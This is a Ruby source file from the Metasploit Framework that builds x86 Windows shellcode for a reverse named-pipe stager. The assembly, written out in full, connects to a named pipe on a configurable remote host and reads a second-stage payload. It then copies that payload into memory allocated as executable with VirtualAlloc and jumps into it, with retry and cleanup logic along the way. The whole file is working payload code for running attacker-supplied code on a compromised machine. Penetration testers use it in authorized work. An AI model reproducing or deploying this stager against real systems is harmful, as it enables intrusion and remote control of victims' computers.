lib/msf/core/payload/windows/reverse_named_pipe.rb
# -*- coding: binary -*-
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseNamedPipe
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'] || '.',
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
if self.available_space && cached_size && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_named_pipe(opts)}
^
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29
# Reliability adds some bytes!
space += 44
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
# we have to double-escape because of metasm
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the handle for the pipe to the server
retry_start:
push #{retry_count} ; retry counter
mov esi, esp ; keep track of where the variables are
try_reverse_named_pipe:
; Start by setting up the call to CreateFile
xor ebx, ebx ; EBX will be used for pushing zero
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
push ebx ; lpSecurityAttributes
push ebx ; dwShareMode
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
; lpFileName (via call)
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call ebp ; CreateFileA(...)
; If eax is -1, then we had a failure.
cmp eax, -1 ; -1 means a failure
jnz connected
handle_connect_failure:
; decrement our attempt count and try again
dec [esi]
jnz try_reverse_named_pipe
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg edi, eax ; edi now has the file handle we'll need in future
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push ebx ; buffer for lpNumberOfBytesRead
mov ecx, esp
push ebx ; buffer for lpBuffer
mov esi, esp
push ebx ; lpOverlapped
push ecx ; lpNumberOfBytesRead
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
push esi ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
^
if reliable
asm << %Q^
; reliability: check to see if the file read worked, retry otherwise
; if it fails
test eax, eax
jz cleanup_file
mov eax, [esi+4] ; check to see if bytes were read
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly received second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
; prepare the size min(0x10000, esi)
mov ecx, 0x10000 ; stupid named pipe buffer limit
cmp ecx, esi
jle size_is_good
mov ecx, esi
size_is_good:
; Invoke a read
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpOverlapped
push eax ; lpNumberOfBytesRead
push ecx ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the data
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jz read_failed
pop eax ; get the number of bytes read
cmp eax, 0
jnz read_successful
read_failed:
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
; restore the stack (one more pop after 2nd ReadFile call)
pop esi
cleanup_file:
; clear up the named pipe handle
push edi ; named pipe handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call ebp ; CloseHandle(...)
; restore the stack back to the connection retry count
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp try_reverse_named_pipe
^
else
asm << %Q^
pop eax ; pop bytes read
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end